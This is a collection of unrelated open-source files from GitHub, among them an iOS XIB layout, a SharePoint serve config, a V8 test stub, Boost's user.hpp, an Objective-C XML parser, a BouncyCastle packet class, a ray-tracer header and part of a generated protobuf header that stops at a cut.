<int key="NSColorSpace">1</int>
<bytes key="NSRGB">MCAwIDAAA</bytes>
</object>
<nil key="IBUIHighlightedColor"/>
<int key="IBUIBaselineAdjustment">0</int>
<float key="IBUIMinimumFontSize">10</float>
<object class="IBUIFontDescription" key="IBUIFontDescription" id="70783182">
<int key="type">1</int>
<double key="pointSize">17</double>
</object>
<object class="NSFont" key="IBUIFont" id="664125804">
<string key="NSName">Helvetica</string>
<double key="NSSize">17</double>
<int key="NSfFlags">16</int>
</object>
</object>
<object class="IBUILabel" id="22685027">
<reference key="NSNextResponder" ref="774585933"/>
<int key="NSvFlags">292</int>
<string key="NSFrame">{{181, 166}, {91, 21}}</string>
<reference key="NSSuperview" ref="774585933"/>
<reference key="NSWindow"/>
<string key="NSReuseIdentifierKey">_NS:9</string>
<bool key="IBUIOpaque">NO</bool>
<bool key="IBUIClipsSubviews">YES</bool>
<int key="IBUIContentMode">7</int>
<bool key="IBUIUserInteractionEnabled">NO</bool>
<string key="targetRuntimeIdentifier">IBCocoaTouchFramework</string>
<string key="IBUIText">2. WebView</string>
<reference key="IBUITextColor" ref="986849563"/>
<nil key="IBUIHighlightedColor"/>
<int key="IBUIBaselineAdjustment">0</int>
<float key="IBUIMinimumFontSize">10</float>
<reference key="IBUIFontDescription" ref="70783182"/>
<reference key="IBUIFont" ref="664125804"/>
</object>
<object class="IBUILabel" id="302872076">
<reference key="NSNextResponder" ref="774585933"/>
<int key="NSvFlags">292</int>
<string key="NSFrame">{{181, 288}, {132, 21}}</string>
<reference key="NSSuperview" ref="774585933"/>
<reference key="NSWindow"/>
<string key="NSReuseIdentifierKey">_NS:9</string>
<bool key="IBUIOpaque">NO</bool>
<bool key="IBUIClipsSubviews">YES</bool>
<int key="IBUIContentMode">7</int>
<bool key="IBUIUserInteractionEnabled">NO</bool>
<string key="targetRuntimeIdentifier">IBCocoaTouchFramework</string>
<string key="IBUIText">3. AnimationView</string>
<reference key="IBUITextColor" ref="986849563"/>
<nil key="IBUIHighlightedColor"/>
<int key="IBUIBaselineAdjustment">0</int>
<float key="IBUIMinimumFontSize">10</float>
<reference key="IBUIFontDescription" ref="70783182"/>
<reference key="IBUIFont" ref="664125804"/>
</object>
</array>
<string key="NSFrame">{{0, 20}, {320, 460}}</string>
<reference key="NSSuperview"/>
<reference key="NSWindow"/>
<object class="NSColor" key="IBUIBackgroundColor">
<int key="NSColorSpace">3</int>
<bytes key="NSWhite">MC43NQA</bytes>
<object class="NSColorSpace" key="NSCustomColorSpace">
<int key="NSID">2</int>
</object>
</object>
<bool key="IBUIClearsContextBeforeDrawing">NO</bool>
<object class="IBUISimulatedStatusBarMetrics" key="IBUISimulatedStatusBarMetrics"/>
<string key="targetRuntimeIdentifier">IBCocoaTouchFramework</string>
</object>
</array>
<object class="IBObjectContainer" key="IBDocument.Objects">
<array class="NSMutableArray" key="connectionRecords">
<object class="IBConnectionRecord">
<object class="IBCocoaTouchOutletConnection" key="connection">
<string key="label">view</string>
<reference key="source" ref="372490531"/>
<reference key="destination" ref="774585933"/>
</object>
<int key="connectionID">7</int>
</object>
</array>
<object class="IBMutableOrderedSet" key="objectRecords">
<array key="orderedObjects">
<object class="IBObjectRecord">
<int key="objectID">0</int>
<array key="object" id="0"/>
<reference key="children" ref="1000"/>
<nil key="parent"/>
</object>
<object class="IBObjectRecord">
<int key="objectID">-1</int>
<reference key="object" ref="372490531"/>
<reference key="parent" ref="0"/>
<string key="objectName">File's Owner</string>
</object>
<object class="IBObjectRecord">
<int key="objectID">-2</int>
<reference key="object" ref="843779117"/>
<reference key="parent" ref="0"/>
</object>
<object class="IBObjectRecord">
<int key="objectID">6</int>
<reference key="object" ref="774585933"/>
<array class="NSMutableArray" key="children">
<reference ref="207059041"/>
<reference ref="22685027"/>
<reference ref="302872076"/>
</array>
<reference key="parent" ref="0"/>
</object>
<object class="IBObjectRecord">
<int key="objectID">8</int>
<reference key="object" ref="207059041"/>
<reference key="parent" ref="774585933"/>
</object>
<object class="IBObjectRecord">
<int key="objectID">9</int>
<reference key="object" ref="22685027"/>
<reference key="parent" ref="774585933"/>
</object>
<object class="IBObjectRecord">
<int key="objectID">10</int>
<reference key="object" ref="302872076"/>
<reference key="parent" ref="774585933"/>
</object>
</array>
</object>
<dictionary class="NSMutableDictionary" key="flattenedProperties">
<string key="-1.CustomClassName">ViewController</string>
<string key="-1.IBPluginDependency">com.apple.InterfaceBuilder.IBCocoaTouchPlugin</string>
<string key="-2.CustomClassName">UIResponder</string>
<string key="-2.IBPluginDependency">com.apple.InterfaceBuilder.IBCocoaTouchPlugin</string>
<string key="10.IBPluginDependency">com.apple.InterfaceBuilder.IBCocoaTouchPlugin</string>
<string key="6.IBPluginDependency">com.apple.InterfaceBuilder.IBCocoaTouchPlugin</string>
<string key="8.IBPluginDependency">com.apple.InterfaceBuilder.IBCocoaTouchPlugin</string>
<string key="9.IBPluginDependency">com.apple.InterfaceBuilder.IBCocoaTouchPlugin</string>
</dictionary>
<dictionary class="NSMutableDictionary" key="unlocalizedProperties"/>
<nil key="activeLocalization"/>
<dictionary class="NSMutableDictionary" key="localizations"/>
<nil key="sourceID"/>
<int key="maxID">10</int>
</object>
<object class="IBClassDescriber" key="IBDocument.Classes">
<array class="NSMutableArray" key="referencedPartialClassDescriptions">
<object class="IBPartialClassDescription">
<string key="className">ViewController</string>
<string key="superclassName">UIViewController</string>
<object class="IBClassDescriptionSource" key="sourceIdentifier">
<string key="majorKey">IBProjectSource</string>
<string key="minorKey">./Classes/ViewController.h</string>
</object>
</object>
</array>
</object>
<int key="IBDocument.localizationMode">0</int>
<string key="IBDocument.TargetRuntimeIdentifier">IBCocoaTouchFramework</string>
<object class="NSMutableDictionary" key="IBDocument.PluginDeclaredDependencyDefaults">
<string key="NS.key.0">com.apple.InterfaceBuilder.CocoaTouchPlugin.iPhoneOS</string>
<real value="1296" key="NS.object.0"/>
</object>
<bool key="IBDocument.PluginDeclaredDependenciesTrackSystemTargetVersion">YES</bool>
<int key="IBDocument.defaultPropertyAccessControl">3</int>
<string key="IBCocoaTouchPluginVersion">1181</string>
</data>
</archive>
|
{
"pile_set_name": "Github"
}
|
{
"$schema": "https://developer.microsoft.com/json-schemas/core-build/serve.schema.json",
"port": 4321,
"https": true,
"serveConfigurations": {
"default": {
"pageUrl": "https://yourtenant.sharepoint.com/sites/yoursite",
"customActions": {
"39044f8c-dace-4780-9e90-eeb368d6a6b9": {
"location": "ClientSideExtension.ApplicationCustomizer",
"properties": {
"testMessage": "Test message"
}
}
}
}
}
}
|
{
"pile_set_name": "Github"
}
|
// Copyright 2016 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Flags: --allow-natives-syntax --harmony-tailcalls
try {
load("mjsunit/es6/tail-call-megatest.js");
} catch(e) {
load("test/mjsunit/es6/tail-call-megatest.js");
}
run_tests(7);
|
{
"pile_set_name": "Github"
}
|
// boost/config/user.hpp ---------------------------------------------------//
// (C) Copyright John Maddock 2001.
// Use, modification and distribution are subject to the
// Boost Software License, Version 1.0. (See accompanying file
// LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
// Do not check in modified versions of this file,
// This file may be customized by the end user, but not by boost.
//
// Use this file to define a site and compiler specific
// configuration policy:
//
// define this to locate a compiler config file:
// #define BOOST_COMPILER_CONFIG <myheader>
// define this to locate a stdlib config file:
// #define BOOST_STDLIB_CONFIG <myheader>
// define this to locate a platform config file:
// #define BOOST_PLATFORM_CONFIG <myheader>
// define this to disable compiler config,
// use if your compiler config has nothing to set:
// #define BOOST_NO_COMPILER_CONFIG
// define this to disable stdlib config,
// use if your stdlib config has nothing to set:
// #define BOOST_NO_STDLIB_CONFIG
// define this to disable platform config,
// use if your platform config has nothing to set:
// #define BOOST_NO_PLATFORM_CONFIG
// define this to disable all config options,
// excluding the user config. Use if your
// setup is fully ISO compliant, and has no
// useful extensions, or for autoconf generated
// setups:
// #define BOOST_NO_CONFIG
// define this to make the config "optimistic"
// about unknown compiler versions. Normally
// unknown compiler versions are assumed to have
// all the defects of the last known version, however
// setting this flag, causes the config to assume
// that unknown compiler versions are fully conformant
// with the standard:
// #define BOOST_STRICT_CONFIG
// define this to cause the config to halt compilation
// with an #error if it encounters anything unknown --
// either an unknown compiler version or an unknown
// compiler/platform/library:
// #define BOOST_ASSERT_CONFIG
// define if you want to disable threading support, even
// when available:
// #define BOOST_DISABLE_THREADS
// define when you want to disable Win32 specific features
// even when available:
// #define BOOST_DISABLE_WIN32
// BOOST_DISABLE_ABI_HEADERS: Stops boost headers from including any
// prefix/suffix headers that normally control things like struct
// packing and alignment.
// #define BOOST_DISABLE_ABI_HEADERS
// BOOST_ABI_PREFIX: A prefix header to include in place of whatever
// boost.config would normally select, any replacement should set up
// struct packing and alignment options as required.
// #define BOOST_ABI_PREFIX my-header-name
// BOOST_ABI_SUFFIX: A suffix header to include in place of whatever
// boost.config would normally select, any replacement should undo
// the effects of the prefix header.
// #define BOOST_ABI_SUFFIX my-header-name
// BOOST_ALL_DYN_LINK: Forces all libraries that have separate source,
// to be linked as dll's rather than static libraries on Microsoft Windows
// (this macro is used to turn on __declspec(dllimport) modifiers, so that
// the compiler knows which symbols to look for in a dll rather than in a
// static library). Note that there may be some libraries that can only
// be linked in one way (statically or dynamically), in these cases this
// macro has no effect.
// #define BOOST_ALL_DYN_LINK
// BOOST_WHATEVER_DYN_LINK: Forces library "whatever" to be linked as a dll
// rather than a static library on Microsoft Windows: replace the WHATEVER
// part of the macro name with the name of the library that you want to
// dynamically link to, for example use BOOST_DATE_TIME_DYN_LINK or
// BOOST_REGEX_DYN_LINK etc (this macro is used to turn on __declspec(dllimport)
// modifiers, so that the compiler knows which symbols to look for in a dll
// rather than in a static library).
// Note that there may be some libraries that can only
// be linked in one way (statically or dynamically),
// in these cases this macro is unsupported.
// #define BOOST_WHATEVER_DYN_LINK
// BOOST_ALL_NO_LIB: Tells the config system not to automatically select
// which libraries to link against.
// Normally if a compiler supports #pragma lib, then the correct library
// build variant will be automatically selected and linked against,
// simply by the act of including one of that library's headers.
// This macro turns that feature off.
// #define BOOST_ALL_NO_LIB
// BOOST_WHATEVER_NO_LIB: Tells the config system not to automatically
// select which library to link against for library "whatever",
// replace WHATEVER in the macro name with the name of the library;
// for example BOOST_DATE_TIME_NO_LIB or BOOST_REGEX_NO_LIB.
// Normally if a compiler supports #pragma lib, then the correct library
// build variant will be automatically selected and linked against, simply
// by the act of including one of that library's headers. This macro turns
// that feature off.
// #define BOOST_WHATEVER_NO_LIB
// BOOST_LIB_BUILDID: Set to the same value as the value passed to Boost.Build's
// --buildid command line option. For example if you built using:
//
// bjam address-model=64 --buildid=amd64
//
// then compile your code with:
//
// -DBOOST_LIB_BUILDID = amd64
//
// to ensure the correct libraries are selected at link time.
// #define BOOST_LIB_BUILDID amd64
|
{
"pile_set_name": "Github"
}
|
//
// ASICloudFilesContainerXMLParserDelegate.m
//
// Created by Michael Mayo on 1/10/10.
//
#import "ASICloudFilesContainerXMLParserDelegate.h"
#import "ASICloudFilesContainer.h"
@implementation ASICloudFilesContainerXMLParserDelegate
@synthesize containerObjects, currentElement, currentContent, currentObject;
#pragma mark -
#pragma mark XML Parser Delegate
- (void)parser:(NSXMLParser *)parser didStartElement:(NSString *)elementName namespaceURI:(NSString *)namespaceURI qualifiedName:(NSString *)qName attributes:(NSDictionary *)attributeDict {
[self setCurrentElement:elementName];
if ([elementName isEqualToString:@"container"]) {
[self setCurrentObject:[ASICloudFilesContainer container]];
}
[self setCurrentContent:@""];
}
- (void)parser:(NSXMLParser *)parser didEndElement:(NSString *)elementName namespaceURI:(NSString *)namespaceURI qualifiedName:(NSString *)qName {
if ([elementName isEqualToString:@"name"]) {
[self currentObject].name = [self currentContent];
} else if ([elementName isEqualToString:@"count"]) {
[self currentObject].count = [[self currentContent] intValue];
} else if ([elementName isEqualToString:@"bytes"]) {
[self currentObject].bytes = [[self currentContent] intValue];
} else if ([elementName isEqualToString:@"cdn_enabled"]) {
[self currentObject].cdnEnabled = [[self currentObject] isEqual:@"True"];
} else if ([elementName isEqualToString:@"ttl"]) {
[self currentObject].ttl = [[self currentContent] intValue];
} else if ([elementName isEqualToString:@"cdn_url"]) {
[self currentObject].cdnURL = [self currentContent];
} else if ([elementName isEqualToString:@"log_retention"]) {
[self currentObject].logRetention = [[self currentObject] isEqual:@"True"];
} else if ([elementName isEqualToString:@"referrer_acl"]) {
[self currentObject].referrerACL = [self currentContent];
} else if ([elementName isEqualToString:@"useragent_acl"]) {
[self currentObject].useragentACL = [self currentContent];
} else if ([elementName isEqualToString:@"container"]) {
// we're done with this container. time to move on to the next
if (containerObjects == nil) {
containerObjects = [[NSMutableArray alloc] init];
}
[containerObjects addObject:currentObject];
[self setCurrentObject:nil];
}
}
- (void)parser:(NSXMLParser *)parser foundCharacters:(NSString *)string {
[self setCurrentContent:[[self currentContent] stringByAppendingString:string]];
}
#pragma mark -
#pragma mark Memory Management
- (void)dealloc {
[containerObjects release];
[currentElement release];
[currentContent release];
[currentObject release];
[super dealloc];
}
@end
|
{
"pile_set_name": "Github"
}
|
using System;
using System.IO;
using Org.BouncyCastle.Utilities;
namespace Org.BouncyCastle.Bcpg
{
/// <remarks>Generic literal data packet.</remarks>
public class LiteralDataPacket
: InputStreamPacket
{
private int format;
private byte[] fileName;
private long modDate;
internal LiteralDataPacket(
BcpgInputStream bcpgIn)
: base(bcpgIn)
{
format = bcpgIn.ReadByte();
int len = bcpgIn.ReadByte();
fileName = new byte[len];
for (int i = 0; i != len; ++i)
{
fileName[i] = (byte)bcpgIn.ReadByte();
}
modDate = (((uint)bcpgIn.ReadByte() << 24)
| ((uint)bcpgIn.ReadByte() << 16)
| ((uint)bcpgIn.ReadByte() << 8)
| (uint)bcpgIn.ReadByte()) * 1000L;
}
/// <summary>The format tag value.</summary>
public int Format
{
get { return format; }
}
/// <summary>The modification time of the file in milli-seconds (since Jan 1, 1970 UTC)</summary>
public long ModificationTime
{
get { return modDate; }
}
public string FileName
{
get { return Strings.FromUtf8ByteArray(fileName); }
}
public byte[] GetRawFileName()
{
return Arrays.Clone(fileName);
}
}
}
|
{
"pile_set_name": "Github"
}
|
/**
* > Author: UncP
* > Mail: 770778010@qq.com
* > Github: https://www.github.com/UncP/Giraffe
* > Description:
*
* > Created Time: 2016-08-01 16:25:28
**/
#ifndef _ISECT_HPP_
#define _ISECT_HPP_
#include "../math/constant.hpp"
#include "../math/vertex.hpp"
namespace Giraffe {
class Object;
class Material;
class Isect
{
public:
Isect():distance_(kInfinity) { }
void update(const double &dis, const Object *object, const Point3d &position,
const Vector3d &normal, const Point2d &uv, const Material *material);
void setDistance(const double &distance) { distance_ = distance; }
void setPosition(const Point3d &position) { vertex_.setPosition(position); }
void setNormal(const Vector3d &normal) { vertex_.setNormal(normal); }
bool miss() const { return distance_ == kInfinity; }
const double distance() const { return distance_; }
const Object* object() const { return object_; }
const Point3d& position() const { return vertex_.position(); }
const Vector3d& normal() const { return vertex_.normal(); }
Vertex& vertex() { return vertex_; }
const Material* material() const { return material_; }
private:
double distance_;
const Object *object_;
Vertex vertex_;
// Point3d position_;
// Vector3d normal_;
// Point2d uv_;
const Material *material_;
};
} // namespace Giraffe
#endif /* _ISECT_HPP_ */
|
{
"pile_set_name": "Github"
}
|
// Generated by the protocol buffer compiler. DO NOT EDIT!
// source: google/protobuf/struct.proto
#ifndef PROTOBUF_google_2fprotobuf_2fstruct_2eproto__INCLUDED
#define PROTOBUF_google_2fprotobuf_2fstruct_2eproto__INCLUDED
#include <string>
#include <google/protobuf/stubs/common.h>
#if GOOGLE_PROTOBUF_VERSION < 3000000
#error This file was generated by a newer version of protoc which is
#error incompatible with your Protocol Buffer headers. Please update
#error your headers.
#endif
#if 3000000 < GOOGLE_PROTOBUF_MIN_PROTOC_VERSION
#error This file was generated by an older version of protoc which is
#error incompatible with your Protocol Buffer headers. Please
#error regenerate this file with a newer version of protoc.
#endif
#include <google/protobuf/arena.h>
#include <google/protobuf/arenastring.h>
#include <google/protobuf/generated_message_util.h>
#include <google/protobuf/metadata.h>
#include <google/protobuf/message.h>
#include <google/protobuf/repeated_field.h>
#include <google/protobuf/extension_set.h>
#include <google/protobuf/map.h>
#include <google/protobuf/map_field_inl.h>
#include <google/protobuf/generated_enum_reflection.h>
#include <google/protobuf/unknown_field_set.h>
// @@protoc_insertion_point(includes)
namespace google {
namespace protobuf {
// Internal implementation detail -- do not call these.
void LIBPROTOBUF_EXPORT protobuf_AddDesc_google_2fprotobuf_2fstruct_2eproto();
void protobuf_AssignDesc_google_2fprotobuf_2fstruct_2eproto();
void protobuf_ShutdownFile_google_2fprotobuf_2fstruct_2eproto();
class ListValue;
class Struct;
class Value;
enum NullValue {
NULL_VALUE = 0,
NullValue_INT_MIN_SENTINEL_DO_NOT_USE_ = ::google::protobuf::kint32min,
NullValue_INT_MAX_SENTINEL_DO_NOT_USE_ = ::google::protobuf::kint32max
};
LIBPROTOBUF_EXPORT bool NullValue_IsValid(int value);
const NullValue NullValue_MIN = NULL_VALUE;
const NullValue NullValue_MAX = NULL_VALUE;
const int NullValue_ARRAYSIZE = NullValue_MAX + 1;
LIBPROTOBUF_EXPORT const ::google::protobuf::EnumDescriptor* NullValue_descriptor();
inline const ::std::string& NullValue_Name(NullValue value) {
return ::google::protobuf::internal::NameOfEnum(
NullValue_descriptor(), value);
}
inline bool NullValue_Parse(
const ::std::string& name, NullValue* value) {
return ::google::protobuf::internal::ParseNamedEnum<NullValue>(
NullValue_descriptor(), name, value);
}
// ===================================================================
class LIBPROTOBUF_EXPORT Struct : public ::google::protobuf::Message /* @@protoc_insertion_point(class_definition:google.protobuf.Struct) */ {
public:
Struct();
virtual ~Struct();
Struct(const Struct& from);
inline Struct& operator=(const Struct& from) {
CopyFrom(from);
return *this;
}
static const ::google::protobuf::Descriptor* descriptor();
static const Struct& default_instance();
void Swap(Struct* other);
// implements Message ----------------------------------------------
inline Struct* New() const { return New(NULL); }
Struct* New(::google::protobuf::Arena* arena) const;
void CopyFrom(const ::google::protobuf::Message& from);
void MergeFrom(const ::google::protobuf::Message& from);
void CopyFrom(const Struct& from);
void MergeFrom(const Struct& from);
void Clear();
bool IsInitialized() const;
int ByteSize() const;
bool MergePartialFromCodedStream(
::google::protobuf::io::CodedInputStream* input);
void SerializeWithCachedSizes(
::google::protobuf::io::CodedOutputStream* output) const;
::google::protobuf::uint8* InternalSerializeWithCachedSizesToArray(
bool deterministic, ::google::protobuf::uint8* output) const;
::google::protobuf::uint8* SerializeWithCachedSizesToArray(::google::protobuf::uint8* output) const {
return InternalSerializeWithCachedSizesToArray(false, output);
}
int GetCachedSize() const { return _cached_size_; }
private:
void SharedCtor();
void SharedDtor();
void SetCachedSize(int size) const;
void InternalSwap(Struct* other);
private:
inline ::google::protobuf::Arena* GetArenaNoVirtual() const {
return _internal_metadata_.arena();
}
inline void* MaybeArenaPtr() const {
return _internal_metadata_.raw_arena_ptr();
}
public:
::google::protobuf::Metadata GetMetadata() const;
// nested types ----------------------------------------------------
// accessors -------------------------------------------------------
// map<string, .google.protobuf.Value> fields = 1;
int fields_size() const;
void clear_fields();
static const int kFieldsFieldNumber = 1;
const ::google::protobuf::Map< ::std::string, ::google::protobuf::Value >&
fields() const;
::google::protobuf::Map< ::std::string, ::google::protobuf::Value >*
mutable_fields();
// @@protoc_insertion_point(class_scope:google.protobuf.Struct)
private:
::google::protobuf::internal::InternalMetadataWithArena _internal_metadata_;
bool _is_default_instance_;
typedef ::google::protobuf::internal::MapEntryLite<
::std::string, ::google::protobuf::Value,
::google::protobuf::internal::WireFormatLite::TYPE_STRING,
::google::protobuf::internal::WireFormatLite::TYPE_MESSAGE,
0 >
Struct_FieldsEntry;
::google::protobuf::internal::MapField<
::std::string, ::google::protobuf::Value,
::google::protobuf::internal::WireFormatLite::TYPE_STRING,
::google::protobuf::internal::WireFormatLite::TYPE_MESSAGE,
0 > fields_;
mutable int _cached_size_;
friend void LIBPROTOBUF_EXPORT protobuf_AddDesc_google_2fprotobuf_2fstruct_2eproto();
friend void protobuf_AssignDesc_google_2fprotobuf_2fstruct_2eproto();
friend void protobuf_ShutdownFile_google_2fprotobuf_2fstruct_2eproto();
void InitAsDefaultInstance();
static Struct* default_instance_;
};
// -------------------------------------------------------------------
class LIBPROTOBUF_EXPORT Value : public ::google::protobuf::Message /* @@protoc_insertion_point(class_definition:google.protobuf.Value) */ {
public:
Value();
virtual ~Value();
Value(const Value& from);
inline Value& operator=(const Value& from) {
CopyFrom(from);
return *this;
}
static const ::google::protobuf::Descriptor* descriptor();
static const Value& default_instance();
enum KindCase {
kNullValue = 1,
kNumberValue = 2,
kStringValue = 3,
kBoolValue = 4,
kStructValue = 5,
kListValue = 6,
KIND_NOT_SET = 0,
};
void Swap(Value* other);
// implements Message ----------------------------------------------
inline Value* New() const { return New(NULL); }
Value* New(::google::protobuf::Arena* arena) const;
void CopyFrom(const ::google::protobuf::Message& from);
void MergeFrom(const ::google::protobuf::Message& from);
void CopyFrom(const Value& from);
void MergeFrom(const Value& from);
void Clear();
bool IsInitialized() const;
int ByteSize() const;
bool MergePartialFromCodedStream(
::google::protobuf::io::CodedInputStream* input);
void SerializeWithCachedSizes(
::google::protobuf::io::CodedOutputStream* output) const;
::google::protobuf::uint8* InternalSerializeWithCachedSizesToArray(
bool deterministic, ::google::protobuf::uint8* output) const;
::google::protobuf::uint8* SerializeWithCachedSizesToArray(::google::protobuf::uint8* output) const {
return InternalSerializeWithCachedSizesToArray(false, output);
}
int GetCachedSize() const { return _cached_size_; }
private:
void SharedCtor();
void SharedDtor();
void SetCachedSize(int size) const;
void InternalSwap(Value* other);
private:
inline ::google::protobuf::Arena* GetArenaNoVirtual() const {
return _internal_metadata_.arena();
}
inline void* MaybeArenaPtr() const {
return _internal_metadata_.raw_arena_ptr();
}
public:
::google::protobuf::Metadata GetMetadata() const;
// nested types ----------------------------------------------------
// accessors -------------------------------------------------------
// optional .google.protobuf.NullValue null_value = 1;
private:
bool has_null_value() const;
public:
void clear_null_value();
static const int kNullValueFieldNumber = 1;
::google::protobuf::NullValue null_value() const;
void set_null_value(::google::protobuf::NullValue value);
// optional double number_value = 2;
private:
bool has_number_value() const;
public:
void clear_number_value();
static const int kNumberValueFieldNumber = 2;
double number_value() const;
void set_number_value(double value);
// optional string string_value = 3;
private:
bool has_string_value() const;
public:
void clear_string_value();
static const int kStringValueFieldNumber = 3;
const ::std::string& string_value() const;
void set_string_value(const ::std::string& value);
void set_string_value(const char* value);
void set_string_value(const char* value, size_t size);
::std::string* mutable_string_value();
::std::string* release_string_value();
void set_allocated_string_value(::std::string* string_value);
// optional bool bool_value = 4;
private:
bool has_bool_value() const;
public:
void clear_bool_value();
static const int kBoolValueFieldNumber = 4;
bool bool_value() const;
void set_bool_value(bool value);
// optional .google.protobuf.Struct struct_value = 5;
bool has_struct_value() const;
void clear_struct_value();
static const int kStructValueFieldNumber = 5;
const ::google::protobuf::Struct& struct_value() const;
::google::protobuf::Struct* mutable_struct_value();
::google::protobuf::Struct* release_struct_value();
void set_allocated_struct_value(::google::protobuf::Struct* struct_value);
// optional .google.protobuf.ListValue list_value = 6;
bool has_list_value() const;
void clear_list_value();
static const int kListValueFieldNumber = 6;
const ::google::protobuf::ListValue& list_value() const;
::google::protobuf::ListValue* mutable_list_value();
::google::protobuf::ListValue* release_list_value();
void set_allocated_list_value(::google::protobuf::ListValue* list_value);
KindCase kind_case() const;
// @@protoc_insertion_point(class_scope:google.protobuf.Value)
private:
inline void set_has_null_value();
inline void set_has_number_value();
inline void set_has_string_value();
inline void set_has_bool_value();
inline void set_has_struct_value();
inline void set_has_list_value();
inline bool has_kind() const;
void clear_kind();
inline void clear_has_kind();
::google::protobuf::internal::InternalMetadataWithArena _internal_metadata_;
bool _is_default_instance_;
union KindUnion {
KindUnion() {}
int null_value_;
double number_value_;
::google::protobuf::internal::ArenaStringPtr string_value_;
bool bool_value_;
::google::protobuf::Struct* struct_value_;
::google::protobuf::ListValue* list_value_;
} kind_;
mutable int _cached_size_;
::google::protobuf::uint32 _oneof_case_[1];
friend void LIBPROTOBUF_EXPORT protobuf_AddDesc_google_2fprotobuf_2fstruct_2eproto();
friend void protobuf_AssignDesc_google_2fprotobuf_2fstruct_2eproto();
friend void protobuf_ShutdownFile_google_2fprotobuf_2fstruct_2eproto();
void InitAsDefaultInstance();
static Value* default_instance_;
};
// -------------------------------------------------------------------
class LIBPROTOBUF_EXPORT ListValue : public ::google::protobuf::Message /* @@protoc_insertion_point(class_definition:google.protobuf.ListValue) */ {
public:
ListValue();
virtual ~ListValue();
ListValue(const ListValue& from);
inline ListValue& operator=(const ListValue& from) {
CopyFrom(from);
return *this;
}
static const ::google::protobuf::Descriptor* descriptor();
static const ListValue& default_instance();
void Swap(ListValue* other);
// implements Message ----------------------------------------------
inline ListValue* New() const { return New(NULL); }
ListValue* New(::google::protobuf::Arena* arena) const;
void CopyFrom(const ::google::protobuf::Message& from);
void MergeFrom(const ::google::protobuf::Message& from);
void CopyFrom(const ListValue& from);
void MergeFrom(const ListValue& from);
void Clear();
bool IsInitialized() const;
int ByteSize() const;
bool MergePartialFromCodedStream(
::google::protobuf::io::CodedInputStream* input);
void SerializeWithCachedSizes(
::google::protobuf::io::CodedOutputStream* output) const;
::google::protobuf::uint8* InternalSerializeWithCachedSizesToArray(
bool deterministic, ::google::protobuf::uint8* output) const;
::google::protobuf::uint8* SerializeWithCachedSizesToArray(::google::protobuf::uint8* output) const {
return InternalSerializeWithCachedSizesToArray(false, output);
}
int GetCachedSize() const { return _cached_size_; }
private:
void SharedCtor();
void SharedDtor();
void SetCachedSize(int size) const;
void InternalSwap(ListValue* other);
private:
inline ::google::protobuf::Arena* GetArenaNoVirtual() const {
return _internal_metadata_.arena();
}
inline void* MaybeArenaPtr() const {
return _internal_metadata_.raw_arena_ptr();
}
public:
::google::protobuf::Metadata GetMetadata() const;
// nested types ----------------------------------------------------
// accessors -------------------------------------------------------
// repeated .google.protobuf.Value values = 1;
int values_size() const;
void clear_values();
static const int kValuesFieldNumber = 1;
const ::google::protobuf::Value& values(int index) const;
::google::protobuf::Value* mutable_values(int index);
::google::protobuf::Value* add_values();
::google::protobuf::RepeatedPtrField< ::google::protobuf::Value >*
mutable_values();
const ::google::protobuf::RepeatedPtrField< ::google::protobuf::Value >&
values() const;
// @@protoc_insertion_point(class_scope:google.protobuf.ListValue)
private:
::google::protobuf::internal::InternalMetadataWithArena _internal_metadata_;
bool _is_default_instance_;
::google::protobuf::RepeatedPtrField< ::google::protobuf::Value > values_;
mutable int _cached_size_;
friend void LIBPROTOBUF_EXPORT protobuf_AddDesc_google_2fprotobuf_2fstruct_2eproto();
friend void protobuf_AssignDesc_google_2fprotobuf_2fstruct_2eproto();
friend void protobuf_ShutdownFile_google_2fprotobuf_2fstruct_2eproto();
void InitAsDefaultInstance();
static ListValue* default_instance_;
};
// ===================================================================
// ===================================================================
#if !PROTOBUF_INLINE_NOT_IN_HEADERS
// Struct
// map<string, .google.protobuf.Value> fields = 1;
inline int Struct::fields_size() const {
return fields_.size();
}
inline void Struct::clear_fields() {
fields_.Clear();
}
inline const ::google::protobuf::Map< ::std::string, ::google::protobuf::Value >&
Struct::fields() const {
// @@protoc_insertion_point(field_map:google.protobuf.Struct.fields)
return fields_.GetMap();
}
inline ::google::protobuf::Map< ::std::string, ::google::protobuf::Value >*
Struct::mutable_fields() {
// @@protoc_insertion_point(field_mutable_map:google.protobuf.Struct.fields)
return fields_.MutableMap();
}
// -------------------------------------------------------------------
// Value
// optional .google.protobuf.NullValue null_value = 1;
inline bool Value::has_null_value() const {
return kind_case() == kNullValue;
}
inline void Value::set_has_null_value() {
_oneof_case_[0] = kNullValue;
}
inline void Value::clear_null_value() {
if (has_null_value()) {
kind_.null_value_ = 0;
clear_has_kind();
}
}
inline ::google::protobuf::NullValue Value::null_value() const {
// @@protoc_insertion_point(field_get:google.protobuf.Value.null_value)
if (has_null_value()) {
return static_cast< ::google::protobuf::NullValue >(kind_.null_value_);
}
return static_cast< ::google::protobuf::NullValue >(0);
}
inline void Value::set_null_value(::google::protobuf::NullValue value) {
if (!has_null_value()) {
clear_kind();
set_has_null_value();
}
kind_.null_value_ = value;
// @@protoc_insertion_point(field_set:google.protobuf.Value.null_value)
}
// optional double number_value = 2;
inline bool Value::has_number_value() const {
return kind_case() == kNumberValue;
}
inline void Value::set_has_number_value() {
_oneof_case_[0] = kNumberValue;
}
inline void Value::clear_number_value() {
if (has_number_value()) {
kind_.number_value_ = 0;
clear_has_kind();
}
}
inline double Value::number_value() const {
// @@protoc_insertion_point(field_get:google.protobuf.Value.number_value)
if (has_number_value()) {
return kind_.number_value_;
}
return 0;
}
inline void Value::set_number_value(double value) {
if (!has_number_value()) {
clear_kind();
set_has_number_value();
}
kind_.number_value_ = value;
// @@protoc_insertion_point(field_set:google.protobuf.Value.number_value)
}
// optional string string_value = 3;
inline bool Value::has_string_value() const {
return kind_case() == kStringValue;
}
inline void Value::set_has_string_value() {
_oneof_case_[0] = kStringValue;
}
inline void Value::clear_string_value() {
if (has_string_value()) {
kind_.string_value_.DestroyNoArena(&::google::protobuf::internal::GetEmptyStringAlreadyInited());
clear_has_kind();
}
}
inline const ::std::string& Value::string_value() const {
// @@protoc_insertion_point(field_get:google.protobuf.Value.string_value)
if (has_string_value()) {
return kind_.string_value_.GetNoArena(&::google::protobuf::internal::GetEmptyStringAlreadyInited());
}
return *&::google::protobuf::internal::GetEmptyStringAlreadyInited();
}
inline void Value::set_string_value(const ::std::string& value) {
// @@protoc_insertion_point(field_set:google.protobuf.Value.string_value)
